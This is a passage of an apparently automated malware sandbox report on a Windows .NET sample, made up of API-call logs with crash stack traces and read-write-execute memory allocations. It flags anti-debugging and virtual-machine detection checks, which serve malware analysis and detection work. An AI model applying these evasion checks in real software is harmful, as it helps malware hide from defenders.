GetComputerNameW May 12, 2021, 9:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 12, 2021, 9:57 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 12, 2021, 9:57 a.m.			0	0
IsDebuggerPresent May 12, 2021, 9:57 a.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW May 12, 2021, 9:57 a.m.	buffer: Y console_handle: 0x00000007	1	1	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 12, 2021, 9:57 a.m.		1	1	0

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ May 12, 2021, 9:57 a.m.	stacktrace: 0x874dd3 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x6fba2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x6fbb264f CoUninitializeEE+0xa5b4 CreateAssemblyNameObject-0x36a1 clr+0x29df8 @ 0x6fbc9df8 CoUninitializeEE+0xa5eb CreateAssemblyNameObject-0x366a clr+0x29e2f @ 0x6fbc9e2f CoUninitializeEE+0xa6b9 CreateAssemblyNameObject-0x359c clr+0x29efd @ 0x6fbc9efd CoUninitializeEE+0xa75e CreateAssemblyNameObject-0x34f7 clr+0x29fa2 @ 0x6fbc9fa2 PreBindAssemblyEx+0x6798 StrongNameSignatureVerification-0xb7b3 clr+0x17e303 @ 0x6fd1e303 sxsJitStartup-0x14c66 clrjit+0x3fc2e @ 0x738bfc2e sxsJitStartup-0x36b91 clrjit+0x1dd03 @ 0x7389dd03 sxsJitStartup-0x52e34 clrjit+0x1a60 @ 0x73881a60 sxsJitStartup-0x52c52 clrjit+0x1c42 @ 0x73881c42 sxsJitStartup-0x52447 clrjit+0x244d @ 0x7388244d sxsJitStartup-0x50878 clrjit+0x401c @ 0x7388401c sxsJitStartup-0x50762 clrjit+0x4132 @ 0x73884132 sxsJitStartup-0x50612 clrjit+0x4282 @ 0x73884282 sxsJitStartup-0x502ff clrjit+0x4595 @ 0x73884595 CreateAssemblyNameObject+0x61d0 GetMetaDataInternalInterface-0x3229f clr+0x33669 @ 0x6fbd3669 CreateAssemblyNameObject+0x6268 GetMetaDataInternalInterface-0x32207 clr+0x33701 @ 0x6fbd3701 CreateAssemblyNameObject+0x62aa GetMetaDataInternalInterface-0x321c5 clr+0x33743 @ 0x6fbd3743 CreateAssemblyNameObject+0x6503 GetMetaDataInternalInterface-0x31f6c clr+0x3399c @ 0x6fbd399c CreateAssemblyNameObject+0x5ffd GetMetaDataInternalInterface-0x32472 clr+0x33496 @ 0x6fbd3496 CreateAssemblyNameObject+0x6c42 GetMetaDataInternalInterface-0x3182d clr+0x340db @ 0x6fbd40db DllRegisterServerInternal+0x98c9 CoUninitializeEE-0x3b6f clr+0x1bcd5 @ 0x6fbbbcd5 DllUnregisterServerInternal-0x760b clr+0x2ae9 @ 0x6fba2ae9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x6fba2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x6fbb264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x6fbb2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x6fc674ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x6fc67610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x6fcf1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x6fcf1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x6fcf1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x6fcf416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7443f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x744b7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x744b4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 c7 45 e4 00 00 00 00 c7 45 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x877186 registers.esp: 3658092 registers.edi: 3658112 registers.eax: 0 registers.ebp: 3658128 registers.edx: 195 registers.ebx: 3659760 registers.esi: 39833640 registers.ecx: 0	1	0	0
__exception__ May 12, 2021, 9:57 a.m.	stacktrace: 0x874e87 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x6fba2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x6fbb264f CoUninitializeEE+0xa5b4 CreateAssemblyNameObject-0x36a1 clr+0x29df8 @ 0x6fbc9df8 CoUninitializeEE+0xa5eb CreateAssemblyNameObject-0x366a clr+0x29e2f @ 0x6fbc9e2f CoUninitializeEE+0xa6b9 CreateAssemblyNameObject-0x359c clr+0x29efd @ 0x6fbc9efd CoUninitializeEE+0xa75e CreateAssemblyNameObject-0x34f7 clr+0x29fa2 @ 0x6fbc9fa2 PreBindAssemblyEx+0x6798 StrongNameSignatureVerification-0xb7b3 clr+0x17e303 @ 0x6fd1e303 sxsJitStartup-0x14c66 clrjit+0x3fc2e @ 0x738bfc2e sxsJitStartup-0x36b91 clrjit+0x1dd03 @ 0x7389dd03 sxsJitStartup-0x52e34 clrjit+0x1a60 @ 0x73881a60 sxsJitStartup-0x52c52 clrjit+0x1c42 @ 0x73881c42 sxsJitStartup-0x52447 clrjit+0x244d @ 0x7388244d sxsJitStartup-0x50878 clrjit+0x401c @ 0x7388401c sxsJitStartup-0x50762 clrjit+0x4132 @ 0x73884132 sxsJitStartup-0x50612 clrjit+0x4282 @ 0x73884282 sxsJitStartup-0x502ff clrjit+0x4595 @ 0x73884595 CreateAssemblyNameObject+0x61d0 GetMetaDataInternalInterface-0x3229f clr+0x33669 @ 0x6fbd3669 CreateAssemblyNameObject+0x6268 GetMetaDataInternalInterface-0x32207 clr+0x33701 @ 0x6fbd3701 CreateAssemblyNameObject+0x62aa GetMetaDataInternalInterface-0x321c5 clr+0x33743 @ 0x6fbd3743 CreateAssemblyNameObject+0x6503 GetMetaDataInternalInterface-0x31f6c clr+0x3399c @ 0x6fbd399c CreateAssemblyNameObject+0x5ffd GetMetaDataInternalInterface-0x32472 clr+0x33496 @ 0x6fbd3496 CreateAssemblyNameObject+0x6c42 GetMetaDataInternalInterface-0x3182d clr+0x340db @ 0x6fbd40db DllRegisterServerInternal+0x98c9 CoUninitializeEE-0x3b6f clr+0x1bcd5 @ 0x6fbbbcd5 DllUnregisterServerInternal-0x760b clr+0x2ae9 @ 0x6fba2ae9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x6fba2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x6fbb264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x6fbb2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x6fc674ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x6fc67610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x6fcf1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x6fcf1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x6fcf1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x6fcf416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7443f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x744b7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x744b4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 c7 45 e4 00 00 00 00 c7 45 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x877186 registers.esp: 3658092 registers.edi: 3658112 registers.eax: 0 registers.ebp: 3658128 registers.edx: 195 registers.ebx: 3659760 registers.esi: 39861540 registers.ecx: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

May 12, 2021, 9:57 a.m.

stacktrace:

0x874dd3
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x6fba2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x6fbb264f
CoUninitializeEE+0xa5b4 CreateAssemblyNameObject-0x36a1 clr+0x29df8 @ 0x6fbc9df8
CoUninitializeEE+0xa5eb CreateAssemblyNameObject-0x366a clr+0x29e2f @ 0x6fbc9e2f
CoUninitializeEE+0xa6b9 CreateAssemblyNameObject-0x359c clr+0x29efd @ 0x6fbc9efd
CoUninitializeEE+0xa75e CreateAssemblyNameObject-0x34f7 clr+0x29fa2 @ 0x6fbc9fa2
PreBindAssemblyEx+0x6798 StrongNameSignatureVerification-0xb7b3 clr+0x17e303 @ 0x6fd1e303
sxsJitStartup-0x14c66 clrjit+0x3fc2e @ 0x738bfc2e
sxsJitStartup-0x36b91 clrjit+0x1dd03 @ 0x7389dd03
sxsJitStartup-0x52e34 clrjit+0x1a60 @ 0x73881a60
sxsJitStartup-0x52c52 clrjit+0x1c42 @ 0x73881c42
sxsJitStartup-0x52447 clrjit+0x244d @ 0x7388244d
sxsJitStartup-0x50878 clrjit+0x401c @ 0x7388401c
sxsJitStartup-0x50762 clrjit+0x4132 @ 0x73884132
sxsJitStartup-0x50612 clrjit+0x4282 @ 0x73884282
sxsJitStartup-0x502ff clrjit+0x4595 @ 0x73884595
CreateAssemblyNameObject+0x61d0 GetMetaDataInternalInterface-0x3229f clr+0x33669 @ 0x6fbd3669
CreateAssemblyNameObject+0x6268 GetMetaDataInternalInterface-0x32207 clr+0x33701 @ 0x6fbd3701
CreateAssemblyNameObject+0x62aa GetMetaDataInternalInterface-0x321c5 clr+0x33743 @ 0x6fbd3743
CreateAssemblyNameObject+0x6503 GetMetaDataInternalInterface-0x31f6c clr+0x3399c @ 0x6fbd399c
CreateAssemblyNameObject+0x5ffd GetMetaDataInternalInterface-0x32472 clr+0x33496 @ 0x6fbd3496
CreateAssemblyNameObject+0x6c42 GetMetaDataInternalInterface-0x3182d clr+0x340db @ 0x6fbd40db
DllRegisterServerInternal+0x98c9 CoUninitializeEE-0x3b6f clr+0x1bcd5 @ 0x6fbbbcd5
DllUnregisterServerInternal-0x760b clr+0x2ae9 @ 0x6fba2ae9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x6fba2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x6fbb264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x6fbb2e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x6fc674ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x6fc67610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x6fcf1dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x6fcf1e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x6fcf1f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x6fcf416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7443f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x744b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x744b4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 01 8b 40 28 ff 10 c7 45 e4 00 00 00 00 c7 45
exception.instruction: mov eax, dword ptr [ecx]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x877186
registers.esp: 3658092
registers.edi: 3658112
registers.eax: 0
registers.ebp: 3658128
registers.edx: 195
registers.ebx: 3659760
registers.esi: 39833640
registers.ecx: 0

__exception__

May 12, 2021, 9:57 a.m.

stacktrace:

0x874e87
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x6fba2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x6fbb264f
CoUninitializeEE+0xa5b4 CreateAssemblyNameObject-0x36a1 clr+0x29df8 @ 0x6fbc9df8
CoUninitializeEE+0xa5eb CreateAssemblyNameObject-0x366a clr+0x29e2f @ 0x6fbc9e2f
CoUninitializeEE+0xa6b9 CreateAssemblyNameObject-0x359c clr+0x29efd @ 0x6fbc9efd
CoUninitializeEE+0xa75e CreateAssemblyNameObject-0x34f7 clr+0x29fa2 @ 0x6fbc9fa2
PreBindAssemblyEx+0x6798 StrongNameSignatureVerification-0xb7b3 clr+0x17e303 @ 0x6fd1e303
sxsJitStartup-0x14c66 clrjit+0x3fc2e @ 0x738bfc2e
sxsJitStartup-0x36b91 clrjit+0x1dd03 @ 0x7389dd03
sxsJitStartup-0x52e34 clrjit+0x1a60 @ 0x73881a60
sxsJitStartup-0x52c52 clrjit+0x1c42 @ 0x73881c42
sxsJitStartup-0x52447 clrjit+0x244d @ 0x7388244d
sxsJitStartup-0x50878 clrjit+0x401c @ 0x7388401c
sxsJitStartup-0x50762 clrjit+0x4132 @ 0x73884132
sxsJitStartup-0x50612 clrjit+0x4282 @ 0x73884282
sxsJitStartup-0x502ff clrjit+0x4595 @ 0x73884595
CreateAssemblyNameObject+0x61d0 GetMetaDataInternalInterface-0x3229f clr+0x33669 @ 0x6fbd3669
CreateAssemblyNameObject+0x6268 GetMetaDataInternalInterface-0x32207 clr+0x33701 @ 0x6fbd3701
CreateAssemblyNameObject+0x62aa GetMetaDataInternalInterface-0x321c5 clr+0x33743 @ 0x6fbd3743
CreateAssemblyNameObject+0x6503 GetMetaDataInternalInterface-0x31f6c clr+0x3399c @ 0x6fbd399c
CreateAssemblyNameObject+0x5ffd GetMetaDataInternalInterface-0x32472 clr+0x33496 @ 0x6fbd3496
CreateAssemblyNameObject+0x6c42 GetMetaDataInternalInterface-0x3182d clr+0x340db @ 0x6fbd40db
DllRegisterServerInternal+0x98c9 CoUninitializeEE-0x3b6f clr+0x1bcd5 @ 0x6fbbbcd5
DllUnregisterServerInternal-0x760b clr+0x2ae9 @ 0x6fba2ae9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x6fba2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x6fbb264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x6fbb2e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x6fc674ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x6fc67610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x6fcf1dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x6fcf1e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x6fcf1f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x6fcf416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7443f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x744b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x744b4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

Allocates read-write-execute memory (usually to unpack itself) (42 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 1376256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00790000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fba1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fba2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00790000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00810000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00870000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00871000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00875000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0076f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00760000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00876000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00877000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00878000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00879000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0087a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0087b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0087d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0087e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0087f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05df0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05df1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
